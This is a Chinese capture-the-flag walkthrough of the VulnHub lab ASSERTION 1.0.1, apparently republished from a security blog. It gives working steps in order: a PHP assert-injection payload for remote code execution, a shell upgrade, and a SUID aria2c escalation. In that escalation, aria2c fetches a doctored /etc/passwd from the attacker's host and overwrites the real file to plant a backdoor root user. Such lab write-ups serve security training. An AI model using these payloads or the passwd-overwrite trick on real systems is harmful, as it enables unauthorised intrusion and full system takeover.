本次靶场ASSERTION[1]指定IP,不涉及主机发现过程。
使用命令sudo -u root nmap 172.16.33.99 -n -Pn -p- --reason -sV -sC -O
发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 | 提供的服务 | 使用的组件 | 组件的版本 |
---|---|---|---|
22/tcp | ssh | OpenSSH | 7.6p1 |
80/tcp | http | Apache httpd | 2.4.29 |
- | os | Ubuntu Linux | ? |
0x01、Web中间件
使用命令searchsploit Apache httpd 2.4.
未发现Web中间件Apache httpd 2.4.29的Nday漏洞。
0x02、Web框架
使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。
0x01、直接访问
浏览器打开http://172.16.33.99/
,是个健身网站。虽然导航栏有多个地址,但内容都是相同的。
网站中的表单只有前端样式,没有后端交互,不会存在SQLi、XSS等漏洞。
网站的/index.php
页面存在参数?page=contact
,可能存在路径遍历或文件包含漏洞,轻则造成任意文件读取,重则造成远程代码执行。使用Payload?page=../../../../../etc/passwd
进行探测,发现被拦截了,看来得绕过或用其它Payload。
逐个尝试HackTricks[2]中的绕过方法和其它Payload,发现assert这里描述的情况和靶机很像,使用Payload' and die(system("whoami")) or '
发现可以成功执行,看来存在远程代码执行漏洞。
但是构造反弹shell时却失败,BurpSuite抓包查看原来是Payload中的&
被当成了参数连接符,需要先进行编码。使用BurpSuite的Decoder对Payload进行URL编码,最终成功拿到www-data
用户的权限。
0x02、目录扫描
使用命令dirsearch -u http://172.16.33.99/ -x 403
未发现有价值的目录或文件,换一个字典,使用命令gobuster dir -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
仍然无有价值的发现。
0x03、模糊测试
基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。
0x04、切换协议
尝试HTTPS协议,浏览器访问https://172.16.33.99:80/
无法打开,看来网站没用SSL。
使用命令which python
和which python3
发现靶机上两个Python命令都有,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'
获得交互式shell。
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,结果因为没有当前用户的密码,所以无法查看。
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。
逐个在GTFOBins[3]查询能否用于提权,发现/usr/bin/aria2c
命令在允许默认的sh shell以suid权限运行的系统中可以用于提权。测试一下EXP,结果提权失败。
查阅资料得知aria2c
是文件下载工具,提权EXP的原理是构造下载报错从而以命令属主root的权限触发报错状态指向的提权代码,进而获得命令属组root的权限。虽然靶机系统不允许默认的sh shell以suid权限运行,所以EXP提权失败,但是我们能否以命令属组root的权限下载一份我们植入了特权用户和密码的/etc/passwd文件,通过覆盖旧的/etc/passwd文件完成特权用户添加,从而获得提权呢?
在靶机上使用命令cat /etc/passwd
打印/etc/passwd文件内容后copy下来,在本地使用命令openssl passwd -6 -salt salt password
获得密码password
的加盐哈希格式,并使用命令vim passwd
将密码与刚才获取到的/etc/passwd文件合并,起个用户名hacker
。最后使用命令python3 -m http.server
开启HTTP服务,提供给靶机下载该passwd文件。
在靶机上进入/etc目录后,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd
下载passwd文件,结果因为/etc/passwd文件已经存在所以被保存成了/etc/passwd.1文件,这不行呀。
查阅文档aria2c[4]发现可以使用参数--allow-overwrite [true|false]
强制覆盖,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd --allow-overwrite=true
下载并成功利用root用户的权限覆盖了旧的/etc/passwd文件,变相向/etc/passwd文件中添加了后门特权用户。
但是使用命令ssh hacker@172.16.33.99
和密码password
一直无法登录,在反复检查openssl命令和passwd文件没有错误后,猜测是SSH服务配置了特权用户禁止密码远程登录,所以尝试使用命令su hacker
和密码password
切换到hacker用户,最终成功拿到root权限。
[1]
ASSERTION: https://www.vulnhub.com/entry/assertion-101,495/
[2]
HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert
[3]
GTFOBins: https://gtfobins.github.io
[4]
aria2c: https://aria2.github.io/manual/en/html/aria2c.html#advanced-options
本文分享自 OneMoreThink 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!